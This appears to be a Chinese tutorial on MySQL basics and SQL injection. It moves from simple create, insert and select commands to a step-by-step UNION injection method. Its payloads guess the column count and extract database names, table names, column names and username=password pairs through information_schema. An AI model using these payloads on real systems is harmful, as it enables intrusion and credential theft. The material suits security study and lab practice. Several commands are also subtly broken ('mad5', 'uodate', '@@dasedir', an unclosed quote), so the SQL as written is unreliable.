一、常用数据库的增删改查
查看库-创建库
show databases; 查看系统数据库有哪些
use mysql; 使用mysql数据库
create database xy; 创建xy数据库
drop database xy; 删除xy数据库
选择库-创建admin表
use xy;
show tables; 查看数据库里面的表
create table admin(id int,username char(50),password char(50)); 创建一个admin表,增加三个列名id username password
查询admin表内容
select * from admin; 查询admin表里的所有内容
select * from admin where id=1; 指定条件查找,查找id为1一行数据
select username,password from admin; 查询admin表的username,password两列数据
写入数据进admin表
insert into admin(id,username,password)values(1,‘admin’,‘admin888’); 插入一行数据
insert into admin(id,username,password)values(1,‘admin’,‘admin888’),(1,‘root’,‘root888’); 同时插入两行数据
insert into admin(id,username,password)values(1,‘admin’,mad5(‘admin888’)); 调用md5函数对插入的数据加密
修改admin表数据
uodate admin set password=‘123123’ where id=1; 将id为1这行password改成123123
删除admin表数据
delete from admin where id=1; 删除id为1这一行
删除表
drop table admin; 删除admin表
注入常用函数
user() version() database() @@datadir @@dasedir
二、注入数据类型的区分
int 整型
select * from users where id=1
sting 字符型
select * from users where username=‘admin’
like 搜索型
select * from news where title like '%标题%
三、SQL注入过程
union联合注入
- 判断是否存在注入:
int 整型
and 1=1 正常
and 1=2 不正常 则存在注入
sting 字符型
加单引号 ’ 报错 使用注释# 正常显示 则存在注入 - 猜字段数
?id=1 order by 3–+ 回显正常
?id=1 order by 4–+ 回显错误 字段则=3 - 查询数据库名
?id=-1 union select 1,database(),3–+ 查询数据库
?id=-1 union select 1,database(),version()–+ 查询数据库版本 - 查询表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+ - 查询列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+ - 查询数据
?id=-1 union select 1,2,group_concat(username,‘=’,password) from users–+
盲注
判断注入方法一样 盲注的区别在于注入不会回显数据